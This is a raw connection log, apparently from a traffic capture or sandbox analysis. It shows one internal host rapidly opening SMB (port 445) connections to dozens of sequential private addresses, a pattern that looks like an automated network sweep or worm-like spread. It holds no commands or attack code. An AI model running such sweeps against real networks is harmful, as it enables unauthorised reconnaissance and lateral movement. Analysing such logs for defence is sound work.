Jul 6, 2024 14:11:34.266920090 CEST	52191	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:34.266920090 CEST	52191	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:34.267003059 CEST	445	52185	192.168.3.174	192.168.2.6
Jul 6, 2024 14:11:34.267011881 CEST	445	52179	192.168.3.173	192.168.2.6
Jul 6, 2024 14:11:34.267049074 CEST	445	52189	192.168.3.175	192.168.2.6
Jul 6, 2024 14:11:34.268228054 CEST	52189	445	192.168.2.6	192.168.3.175
Jul 6, 2024 14:11:34.268228054 CEST	52189	445	192.168.2.6	192.168.3.175
Jul 6, 2024 14:11:34.269157887 CEST	52190	445	192.168.2.6	192.168.3.49
Jul 6, 2024 14:11:34.269157887 CEST	52190	445	192.168.2.6	192.168.3.49
Jul 6, 2024 14:11:34.269157887 CEST	52192	445	192.168.2.6	192.168.3.176
Jul 6, 2024 14:11:34.270731926 CEST	445	52187	192.168.3.48	192.168.2.6
Jul 6, 2024 14:11:34.271243095 CEST	445	52187	192.168.3.48	192.168.2.6
Jul 6, 2024 14:11:34.271867990 CEST	445	52191	192.168.1.147	192.168.2.6
Jul 6, 2024 14:11:34.275533915 CEST	52192	445	192.168.2.6	192.168.3.176
Jul 6, 2024 14:11:34.275533915 CEST	52194	445	192.168.2.6	192.168.3.177
Jul 6, 2024 14:11:34.275944948 CEST	445	52189	192.168.3.175	192.168.2.6
Jul 6, 2024 14:11:34.280736923 CEST	52189	445	192.168.2.6	192.168.3.175
Jul 6, 2024 14:11:34.282267094 CEST	445	52190	192.168.3.49	192.168.2.6
Jul 6, 2024 14:11:34.282613993 CEST	445	52190	192.168.3.49	192.168.2.6
Jul 6, 2024 14:11:34.285625935 CEST	445	52192	192.168.3.176	192.168.2.6
Jul 6, 2024 14:11:34.285919905 CEST	52192	445	192.168.2.6	192.168.3.176
Jul 6, 2024 14:11:34.287573099 CEST	445	52194	192.168.3.177	192.168.2.6
Jul 6, 2024 14:11:34.287676096 CEST	52194	445	192.168.2.6	192.168.3.177
Jul 6, 2024 14:11:34.287736893 CEST	52194	445	192.168.2.6	192.168.3.177
Jul 6, 2024 14:11:34.289279938 CEST	52197	445	192.168.2.6	192.168.3.178
Jul 6, 2024 14:11:34.295355082 CEST	445	52197	192.168.3.178	192.168.2.6
Jul 6, 2024 14:11:34.295795918 CEST	445	52194	192.168.3.177	192.168.2.6
Jul 6, 2024 14:11:34.296495914 CEST	52197	445	192.168.2.6	192.168.3.178
Jul 6, 2024 14:11:34.296495914 CEST	52197	445	192.168.2.6	192.168.3.178
Jul 6, 2024 14:11:34.296930075 CEST	52194	445	192.168.2.6	192.168.3.177
Jul 6, 2024 14:11:34.304147959 CEST	445	52197	192.168.3.178	192.168.2.6
Jul 6, 2024 14:11:34.304198980 CEST	52197	445	192.168.2.6	192.168.3.178
Jul 6, 2024 14:11:34.304249048 CEST	52198	445	192.168.2.6	192.168.3.50
Jul 6, 2024 14:11:34.304290056 CEST	445	52197	192.168.3.178	192.168.2.6
Jul 6, 2024 14:11:34.304352045 CEST	52199	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:34.304522038 CEST	52200	445	192.168.2.6	192.168.3.51
Jul 6, 2024 14:11:34.304589033 CEST	52201	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:34.304625988 CEST	52202	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:34.307583094 CEST	52204	445	192.168.2.6	192.168.3.179
Jul 6, 2024 14:11:34.309261084 CEST	445	52198	192.168.3.50	192.168.2.6
Jul 6, 2024 14:11:34.309309959 CEST	445	52199	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:34.309333086 CEST	52198	445	192.168.2.6	192.168.3.50
Jul 6, 2024 14:11:34.309412956 CEST	52198	445	192.168.2.6	192.168.3.50
Jul 6, 2024 14:11:34.309689045 CEST	445	52200	192.168.3.51	192.168.2.6
Jul 6, 2024 14:11:34.309739113 CEST	52200	445	192.168.2.6	192.168.3.51
Jul 6, 2024 14:11:34.309745073 CEST	445	52201	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:34.309755087 CEST	445	52202	192.168.1.150	192.168.2.6
Jul 6, 2024 14:11:34.309808016 CEST	52200	445	192.168.2.6	192.168.3.51
Jul 6, 2024 14:11:34.312612057 CEST	52199	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:34.312612057 CEST	52199	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:34.312612057 CEST	52201	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:34.312612057 CEST	52202	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:34.312612057 CEST	52202	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:34.312612057 CEST	52201	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:34.314398050 CEST	445	52198	192.168.3.50	192.168.2.6
Jul 6, 2024 14:11:34.314456940 CEST	52198	445	192.168.2.6	192.168.3.50
Jul 6, 2024 14:11:34.314579010 CEST	445	52198	192.168.3.50	192.168.2.6
Jul 6, 2024 14:11:34.314822912 CEST	445	52200	192.168.3.51	192.168.2.6
Jul 6, 2024 14:11:34.314831018 CEST	445	52200	192.168.3.51	192.168.2.6
Jul 6, 2024 14:11:34.317820072 CEST	445	52199	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:34.317828894 CEST	445	52202	192.168.1.150	192.168.2.6
Jul 6, 2024 14:11:34.317915916 CEST	445	52201	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:34.317925930 CEST	445	52199	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:34.317939997 CEST	445	52201	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:34.317949057 CEST	445	52202	192.168.1.150	192.168.2.6
Jul 6, 2024 14:11:34.318337917 CEST	445	52204	192.168.3.179	192.168.2.6
Jul 6, 2024 14:11:34.318521976 CEST	52204	445	192.168.2.6	192.168.3.179
Jul 6, 2024 14:11:34.319636106 CEST	445	52198	192.168.3.50	192.168.2.6
Jul 6, 2024 14:11:34.321516991 CEST	52206	445	192.168.2.6	192.168.3.180
Jul 6, 2024 14:11:34.323116064 CEST	52204	445	192.168.2.6	192.168.3.179
Jul 6, 2024 14:11:34.326436996 CEST	445	52206	192.168.3.180	192.168.2.6
Jul 6, 2024 14:11:34.326508999 CEST	52206	445	192.168.2.6	192.168.3.180
Jul 6, 2024 14:11:34.326610088 CEST	52206	445	192.168.2.6	192.168.3.180
Jul 6, 2024 14:11:34.328224897 CEST	445	52204	192.168.3.179	192.168.2.6
Jul 6, 2024 14:11:34.329108000 CEST	52204	445	192.168.2.6	192.168.3.179
Jul 6, 2024 14:11:34.331825018 CEST	445	52206	192.168.3.180	192.168.2.6
Jul 6, 2024 14:11:34.331882000 CEST	52206	445	192.168.2.6	192.168.3.180
Jul 6, 2024 14:11:34.336654902 CEST	52208	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:34.338635921 CEST	52211	445	192.168.2.6	192.168.3.181
Jul 6, 2024 14:11:34.339793921 CEST	52209	445	192.168.2.6	192.168.3.53
Jul 6, 2024 14:11:34.341078997 CEST	52207	445	192.168.2.6	192.168.3.52
Jul 6, 2024 14:11:34.341512918 CEST	445	52208	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:34.342125893 CEST	52208	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:34.342125893 CEST	52208	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:34.350986958 CEST	52212	445	192.168.2.6	192.168.3.54
Jul 6, 2024 14:11:34.351330042 CEST	445	52209	192.168.3.53	192.168.2.6
Jul 6, 2024 14:11:34.351413012 CEST	52209	445	192.168.2.6	192.168.3.53
Jul 6, 2024 14:11:34.351483107 CEST	52209	445	192.168.2.6	192.168.3.53
Jul 6, 2024 14:11:34.352093935 CEST	445	52208	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:34.352900028 CEST	52214	445	192.168.2.6	192.168.3.182
Jul 6, 2024 14:11:34.353068113 CEST	445	52208	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:34.353168011 CEST	445	52207	192.168.3.52	192.168.2.6
Jul 6, 2024 14:11:34.353265047 CEST	445	52211	192.168.3.181	192.168.2.6
Jul 6, 2024 14:11:34.353307962 CEST	52211	445	192.168.2.6	192.168.3.181
Jul 6, 2024 14:11:34.353624105 CEST	52207	445	192.168.2.6	192.168.3.52
Jul 6, 2024 14:11:34.353624105 CEST	52207	445	192.168.2.6	192.168.3.52
Jul 6, 2024 14:11:34.354387999 CEST	52211	445	192.168.2.6	192.168.3.181
Jul 6, 2024 14:11:34.356281042 CEST	445	52212	192.168.3.54	192.168.2.6
Jul 6, 2024 14:11:34.356344938 CEST	52212	445	192.168.2.6	192.168.3.54
Jul 6, 2024 14:11:34.356432915 CEST	52212	445	192.168.2.6	192.168.3.54
Jul 6, 2024 14:11:34.356466055 CEST	445	52209	192.168.3.53	192.168.2.6
Jul 6, 2024 14:11:34.356570005 CEST	445	52209	192.168.3.53	192.168.2.6
Jul 6, 2024 14:11:34.358000040 CEST	445	52214	192.168.3.182	192.168.2.6
Jul 6, 2024 14:11:34.358067036 CEST	52214	445	192.168.2.6	192.168.3.182
Jul 6, 2024 14:11:34.358169079 CEST	52214	445	192.168.2.6	192.168.3.182
Jul 6, 2024 14:11:34.358505964 CEST	445	52211	192.168.3.181	192.168.2.6
Jul 6, 2024 14:11:34.358556032 CEST	52211	445	192.168.2.6	192.168.3.181
Jul 6, 2024 14:11:34.358851910 CEST	445	52207	192.168.3.52	192.168.2.6
Jul 6, 2024 14:11:34.358905077 CEST	445	52207	192.168.3.52	192.168.2.6
Jul 6, 2024 14:11:34.360074997 CEST	445	52211	192.168.3.181	192.168.2.6
Jul 6, 2024 14:11:34.361437082 CEST	445	52212	192.168.3.54	192.168.2.6
Jul 6, 2024 14:11:34.361658096 CEST	445	52212	192.168.3.54	192.168.2.6
Jul 6, 2024 14:11:34.363594055 CEST	445	52214	192.168.3.182	192.168.2.6
Jul 6, 2024 14:11:34.364651918 CEST	52214	445	192.168.2.6	192.168.3.182
Jul 6, 2024 14:11:34.366627932 CEST	52215	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:34.366758108 CEST	52216	445	192.168.2.6	192.168.3.55
Jul 6, 2024 14:11:34.366871119 CEST	52217	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:34.369735003 CEST	52218	445	192.168.2.6	192.168.3.183
Jul 6, 2024 14:11:34.371541023 CEST	445	52215	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:34.371550083 CEST	445	52216	192.168.3.55	192.168.2.6
Jul 6, 2024 14:11:34.371613979 CEST	52215	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:34.371691942 CEST	52215	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:34.371786118 CEST	445	52217	192.168.1.153	192.168.2.6
Jul 6, 2024 14:11:34.371870041 CEST	52217	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:34.371895075 CEST	52217	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:34.374780893 CEST	445	52218	192.168.3.183	192.168.2.6
Jul 6, 2024 14:11:34.375248909 CEST	52218	445	192.168.2.6	192.168.3.183
Jul 6, 2024 14:11:34.375248909 CEST	52218	445	192.168.2.6	192.168.3.183
Jul 6, 2024 14:11:34.376524925 CEST	445	52215	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:34.376702070 CEST	445	52215	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:34.376816034 CEST	445	52217	192.168.1.153	192.168.2.6
Jul 6, 2024 14:11:34.376823902 CEST	445	52217	192.168.1.153	192.168.2.6
Jul 6, 2024 14:11:34.377883911 CEST	52216	445	192.168.2.6	192.168.3.55
Jul 6, 2024 14:11:34.377885103 CEST	52216	445	192.168.2.6	192.168.3.55
Jul 6, 2024 14:11:34.385149002 CEST	52220	445	192.168.2.6	192.168.3.184
Jul 6, 2024 14:11:34.385778904 CEST	445	52216	192.168.3.55	192.168.2.6
Jul 6, 2024 14:11:34.385787964 CEST	445	52216	192.168.3.55	192.168.2.6
Jul 6, 2024 14:11:34.386955023 CEST	445	52218	192.168.3.183	192.168.2.6
Jul 6, 2024 14:11:34.387012959 CEST	52218	445	192.168.2.6	192.168.3.183
Jul 6, 2024 14:11:34.390815020 CEST	445	52220	192.168.3.184	192.168.2.6
Jul 6, 2024 14:11:34.391622066 CEST	52220	445	192.168.2.6	192.168.3.184
Jul 6, 2024 14:11:34.391622066 CEST	52220	445	192.168.2.6	192.168.3.184
Jul 6, 2024 14:11:34.399318933 CEST	52223	445	192.168.2.6	192.168.3.185
Jul 6, 2024 14:11:34.401370049 CEST	445	52220	192.168.3.184	192.168.2.6
Jul 6, 2024 14:11:34.402420998 CEST	52220	445	192.168.2.6	192.168.3.184
Jul 6, 2024 14:11:34.404280901 CEST	445	52223	192.168.3.185	192.168.2.6
Jul 6, 2024 14:11:34.404342890 CEST	52223	445	192.168.2.6	192.168.3.185
Jul 6, 2024 14:11:34.404428959 CEST	52223	445	192.168.2.6	192.168.3.185
Jul 6, 2024 14:11:34.409615040 CEST	445	52223	192.168.3.185	192.168.2.6
Jul 6, 2024 14:11:34.413867950 CEST	52226	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:34.413996935 CEST	52225	445	192.168.2.6	192.168.3.56
Jul 6, 2024 14:11:34.414108038 CEST	52229	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:34.414213896 CEST	52230	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:34.414800882 CEST	52223	445	192.168.2.6	192.168.3.185
Jul 6, 2024 14:11:34.415050030 CEST	52224	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:34.415215969 CEST	52231	445	192.168.2.6	192.168.3.186
Jul 6, 2024 14:11:34.415817976 CEST	52227	445	192.168.2.6	192.168.3.59
Jul 6, 2024 14:11:34.415817976 CEST	52228	445	192.168.2.6	192.168.3.58
Jul 6, 2024 14:11:34.421545029 CEST	445	52226	192.168.1.157	192.168.2.6
Jul 6, 2024 14:11:34.421616077 CEST	52226	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:34.421641111 CEST	445	52225	192.168.3.56	192.168.2.6
Jul 6, 2024 14:11:34.421650887 CEST	445	52229	192.168.1.155	192.168.2.6
Jul 6, 2024 14:11:34.421660900 CEST	445	52230	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:34.421685934 CEST	52226	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:34.421730995 CEST	52230	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:34.421803951 CEST	52230	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:34.422318935 CEST	52225	445	192.168.2.6	192.168.3.56
Jul 6, 2024 14:11:34.422318935 CEST	52225	445	192.168.2.6	192.168.3.56
Jul 6, 2024 14:11:34.422343969 CEST	445	52231	192.168.3.186	192.168.2.6
Jul 6, 2024 14:11:34.422362089 CEST	445	52224	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:34.422380924 CEST	445	52227	192.168.3.59	192.168.2.6
Jul 6, 2024 14:11:34.422398090 CEST	52231	445	192.168.2.6	192.168.3.186
Jul 6, 2024 14:11:34.422425032 CEST	52224	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:34.422444105 CEST	52227	445	192.168.2.6	192.168.3.59
Jul 6, 2024 14:11:34.422483921 CEST	445	52228	192.168.3.58	192.168.2.6
Jul 6, 2024 14:11:34.422539949 CEST	52228	445	192.168.2.6	192.168.3.58
Jul 6, 2024 14:11:34.422540903 CEST	52231	445	192.168.2.6	192.168.3.186
Jul 6, 2024 14:11:34.422580004 CEST	52227	445	192.168.2.6	192.168.3.59
Jul 6, 2024 14:11:34.422620058 CEST	52224	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:34.422631979 CEST	52228	445	192.168.2.6	192.168.3.58
Jul 6, 2024 14:11:34.426647902 CEST	52229	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:34.426647902 CEST	52229	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:34.426800966 CEST	445	52226	192.168.1.157	192.168.2.6
Jul 6, 2024 14:11:34.426810026 CEST	445	52230	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:34.427011967 CEST	445	52226	192.168.1.157	192.168.2.6
Jul 6, 2024 14:11:34.427021980 CEST	445	52230	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:34.427529097 CEST	445	52225	192.168.3.56	192.168.2.6
Jul 6, 2024 14:11:34.427855015 CEST	445	52225	192.168.3.56	192.168.2.6
Jul 6, 2024 14:11:34.428081989 CEST	445	52227	192.168.3.59	192.168.2.6
Jul 6, 2024 14:11:34.428220034 CEST	445	52231	192.168.3.186	192.168.2.6
Jul 6, 2024 14:11:34.428229094 CEST	445	52228	192.168.3.58	192.168.2.6
Jul 6, 2024 14:11:34.428236008 CEST	445	52224	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:34.428266048 CEST	52231	445	192.168.2.6	192.168.3.186
Jul 6, 2024 14:11:34.428401947 CEST	445	52224	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:34.428566933 CEST	445	52227	192.168.3.59	192.168.2.6
Jul 6, 2024 14:11:34.428842068 CEST	445	52228	192.168.3.58	192.168.2.6
Jul 6, 2024 14:11:34.430646896 CEST	52234	445	192.168.2.6	192.168.3.187
Jul 6, 2024 14:11:34.434180975 CEST	445	52229	192.168.1.155	192.168.2.6
Jul 6, 2024 14:11:34.434189081 CEST	445	52229	192.168.1.155	192.168.2.6
Jul 6, 2024 14:11:34.436156988 CEST	445	52234	192.168.3.187	192.168.2.6
Jul 6, 2024 14:11:34.436209917 CEST	52234	445	192.168.2.6	192.168.3.187
Jul 6, 2024 14:11:34.441873074 CEST	445	52234	192.168.3.187	192.168.2.6
Jul 6, 2024 14:11:34.441921949 CEST	52234	445	192.168.2.6	192.168.3.187
Jul 6, 2024 14:11:34.444499016 CEST	52234	445	192.168.2.6	192.168.3.187
Jul 6, 2024 14:11:34.445945024 CEST	52238	445	192.168.2.6	192.168.3.188
Jul 6, 2024 14:11:34.448292971 CEST	52235	445	192.168.2.6	192.168.3.57
Jul 6, 2024 14:11:34.449414015 CEST	52236	445	192.168.2.6	192.168.3.60
Jul 6, 2024 14:11:34.449728966 CEST	445	52234	192.168.3.187	192.168.2.6
Jul 6, 2024 14:11:34.451236963 CEST	445	52238	192.168.3.188	192.168.2.6
Jul 6, 2024 14:11:34.451301098 CEST	52238	445	192.168.2.6	192.168.3.188
Jul 6, 2024 14:11:34.453305960 CEST	445	52235	192.168.3.57	192.168.2.6
Jul 6, 2024 14:11:34.456235886 CEST	445	52236	192.168.3.60	192.168.2.6
Jul 6, 2024 14:11:34.456413984 CEST	52236	445	192.168.2.6	192.168.3.60
Jul 6, 2024 14:11:34.456413984 CEST	52236	445	192.168.2.6	192.168.3.60
Jul 6, 2024 14:11:34.456459999 CEST	445	52238	192.168.3.188	192.168.2.6
Jul 6, 2024 14:11:34.456505060 CEST	52238	445	192.168.2.6	192.168.3.188
Jul 6, 2024 14:11:34.459897995 CEST	52238	445	192.168.2.6	192.168.3.188
Jul 6, 2024 14:11:34.461378098 CEST	445	52236	192.168.3.60	192.168.2.6
Jul 6, 2024 14:11:34.461877108 CEST	445	52236	192.168.3.60	192.168.2.6
Jul 6, 2024 14:11:34.462194920 CEST	52239	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:34.462565899 CEST	52240	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:34.462776899 CEST	52243	445	192.168.2.6	192.168.3.189
Jul 6, 2024 14:11:34.464677095 CEST	445	52238	192.168.3.188	192.168.2.6
Jul 6, 2024 14:11:34.465118885 CEST	52235	445	192.168.2.6	192.168.3.57
Jul 6, 2024 14:11:34.465118885 CEST	52235	445	192.168.2.6	192.168.3.57
Jul 6, 2024 14:11:34.465118885 CEST	52241	445	192.168.2.6	192.168.3.61
Jul 6, 2024 14:11:34.467264891 CEST	445	52239	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:34.467539072 CEST	445	52243	192.168.3.189	192.168.2.6
Jul 6, 2024 14:11:34.469647884 CEST	445	52240	192.168.1.159	192.168.2.6
Jul 6, 2024 14:11:34.469924927 CEST	445	52235	192.168.3.57	192.168.2.6
Jul 6, 2024 14:11:34.470459938 CEST	445	52235	192.168.3.57	192.168.2.6
Jul 6, 2024 14:11:34.472033978 CEST	52240	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:34.472033978 CEST	52240	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:34.474231005 CEST	445	52241	192.168.3.61	192.168.2.6
Jul 6, 2024 14:11:34.475641012 CEST	52239	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:34.475641012 CEST	52239	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:34.475641012 CEST	52243	445	192.168.2.6	192.168.3.189
Jul 6, 2024 14:11:34.475641012 CEST	52243	445	192.168.2.6	192.168.3.189
Jul 6, 2024 14:11:34.479095936 CEST	52246	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:34.479095936 CEST	52249	445	192.168.2.6	192.168.3.190
Jul 6, 2024 14:11:34.480520010 CEST	445	52239	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:34.480747938 CEST	445	52239	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:34.480757952 CEST	445	52243	192.168.3.189	192.168.2.6
Jul 6, 2024 14:11:34.480845928 CEST	52243	445	192.168.2.6	192.168.3.189
Jul 6, 2024 14:11:34.481223106 CEST	52247	445	192.168.2.6	192.168.3.63
Jul 6, 2024 14:11:34.481851101 CEST	445	52240	192.168.1.159	192.168.2.6
Jul 6, 2024 14:11:34.483608007 CEST	52245	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:34.483865023 CEST	445	52243	192.168.3.189	192.168.2.6
Jul 6, 2024 14:11:34.483879089 CEST	445	52246	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:34.484091997 CEST	445	52249	192.168.3.190	192.168.2.6
Jul 6, 2024 14:11:34.484637022 CEST	52246	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:34.484637022 CEST	52246	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:34.484637022 CEST	52249	445	192.168.2.6	192.168.3.190
Jul 6, 2024 14:11:34.484637022 CEST	52249	445	192.168.2.6	192.168.3.190
Jul 6, 2024 14:11:34.486062050 CEST	445	52247	192.168.3.63	192.168.2.6
Jul 6, 2024 14:11:34.487428904 CEST	52241	445	192.168.2.6	192.168.3.61
Jul 6, 2024 14:11:34.487428904 CEST	52241	445	192.168.2.6	192.168.3.61
Jul 6, 2024 14:11:34.487428904 CEST	52244	445	192.168.2.6	192.168.3.62
Jul 6, 2024 14:11:34.488445044 CEST	445	52245	192.168.1.160	192.168.2.6
Jul 6, 2024 14:11:34.492049932 CEST	445	52246	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:34.492170095 CEST	445	52246	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:34.492187023 CEST	445	52249	192.168.3.190	192.168.2.6
Jul 6, 2024 14:11:34.492291927 CEST	445	52241	192.168.3.61	192.168.2.6
Jul 6, 2024 14:11:34.492300987 CEST	445	52244	192.168.3.62	192.168.2.6
Jul 6, 2024 14:11:34.492477894 CEST	52247	445	192.168.2.6	192.168.3.63
Jul 6, 2024 14:11:34.492477894 CEST	52247	445	192.168.2.6	192.168.3.63
Jul 6, 2024 14:11:34.492676020 CEST	445	52241	192.168.3.61	192.168.2.6
Jul 6, 2024 14:11:34.495559931 CEST	52249	445	192.168.2.6	192.168.3.190
Jul 6, 2024 14:11:34.497442007 CEST	445	52247	192.168.3.63	192.168.2.6
Jul 6, 2024 14:11:34.497545958 CEST	445	52247	192.168.3.63	192.168.2.6
Jul 6, 2024 14:11:34.497560024 CEST	52245	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:34.497560024 CEST	52245	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:34.497560024 CEST	52250	445	192.168.2.6	192.168.3.191
Jul 6, 2024 14:11:34.504687071 CEST	445	52245	192.168.1.160	192.168.2.6
Jul 6, 2024 14:11:34.505471945 CEST	445	52245	192.168.1.160	192.168.2.6
Jul 6, 2024 14:11:34.507538080 CEST	52253	445	192.168.2.6	192.168.3.64
Jul 6, 2024 14:11:34.507538080 CEST	52255	445	192.168.2.6	192.168.3.65
Jul 6, 2024 14:11:34.507554054 CEST	445	52250	192.168.3.191	192.168.2.6
Jul 6, 2024 14:11:34.508460045 CEST	52257	445	192.168.2.6	192.168.3.192
Jul 6, 2024 14:11:34.508735895 CEST	52252	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:34.508735895 CEST	52254	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:34.509202957 CEST	52244	445	192.168.2.6	192.168.3.62
Jul 6, 2024 14:11:34.509202957 CEST	52244	445	192.168.2.6	192.168.3.62
Jul 6, 2024 14:11:34.512288094 CEST	445	52253	192.168.3.64	192.168.2.6
Jul 6, 2024 14:11:34.512459040 CEST	445	52255	192.168.3.65	192.168.2.6
Jul 6, 2024 14:11:34.513607979 CEST	445	52257	192.168.3.192	192.168.2.6
Jul 6, 2024 14:11:34.514082909 CEST	445	52244	192.168.3.62	192.168.2.6
Jul 6, 2024 14:11:34.514193058 CEST	445	52244	192.168.3.62	192.168.2.6
Jul 6, 2024 14:11:34.514894962 CEST	52253	445	192.168.2.6	192.168.3.64
Jul 6, 2024 14:11:34.514894962 CEST	52253	445	192.168.2.6	192.168.3.64
Jul 6, 2024 14:11:34.514894962 CEST	52255	445	192.168.2.6	192.168.3.65
Jul 6, 2024 14:11:34.514894962 CEST	52255	445	192.168.2.6	192.168.3.65
Jul 6, 2024 14:11:34.514894962 CEST	52257	445	192.168.2.6	192.168.3.192
Jul 6, 2024 14:11:34.514894962 CEST	52257	445	192.168.2.6	192.168.3.192
Jul 6, 2024 14:11:34.519395113 CEST	445	52252	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:34.519449949 CEST	52252	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:34.519545078 CEST	52252	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:34.519958973 CEST	445	52254	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:34.520042896 CEST	52254	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:34.520131111 CEST	52254	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:34.520742893 CEST	445	52253	192.168.3.64	192.168.2.6
Jul 6, 2024 14:11:34.520776033 CEST	445	52253	192.168.3.64	192.168.2.6
Jul 6, 2024 14:11:34.520884991 CEST	52250	445	192.168.2.6	192.168.3.191
Jul 6, 2024 14:11:34.521198988 CEST	445	52255	192.168.3.65	192.168.2.6
Jul 6, 2024 14:11:34.521523952 CEST	445	52255	192.168.3.65	192.168.2.6
Jul 6, 2024 14:11:34.523514032 CEST	445	52257	192.168.3.192	192.168.2.6
Jul 6, 2024 14:11:34.523569107 CEST	52257	445	192.168.2.6	192.168.3.192
Jul 6, 2024 14:11:34.523730993 CEST	52258	445	192.168.2.6	192.168.3.193
Jul 6, 2024 14:11:34.524622917 CEST	445	52252	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:34.524631977 CEST	445	52252	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:34.524977922 CEST	445	52254	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:34.524986029 CEST	445	52254	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:34.526106119 CEST	445	52250	192.168.3.191	192.168.2.6
Jul 6, 2024 14:11:34.526828051 CEST	52250	445	192.168.2.6	192.168.3.191
Jul 6, 2024 14:11:34.526828051 CEST	52250	445	192.168.2.6	192.168.3.191
Jul 6, 2024 14:11:34.528561115 CEST	445	52258	192.168.3.193	192.168.2.6
Jul 6, 2024 14:11:34.529073000 CEST	52258	445	192.168.2.6	192.168.3.193
Jul 6, 2024 14:11:34.532075882 CEST	445	52250	192.168.3.191	192.168.2.6
Jul 6, 2024 14:11:34.536017895 CEST	445	52258	192.168.3.193	192.168.2.6
Jul 6, 2024 14:11:34.538243055 CEST	52261	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:34.540456057 CEST	52258	445	192.168.2.6	192.168.3.193
Jul 6, 2024 14:11:34.540456057 CEST	52258	445	192.168.2.6	192.168.3.193
Jul 6, 2024 14:11:34.540456057 CEST	52263	445	192.168.2.6	192.168.3.194
Jul 6, 2024 14:11:34.542922974 CEST	52260	445	192.168.2.6	192.168.3.66
Jul 6, 2024 14:11:34.543123007 CEST	445	52261	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:34.543576956 CEST	52261	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:34.543576956 CEST	52261	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:34.545480967 CEST	445	52258	192.168.3.193	192.168.2.6
Jul 6, 2024 14:11:34.547820091 CEST	445	52260	192.168.3.66	192.168.2.6
Jul 6, 2024 14:11:34.549143076 CEST	445	52261	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:34.549195051 CEST	445	52261	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:34.549627066 CEST	52261	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:34.549824953 CEST	445	52263	192.168.3.194	192.168.2.6
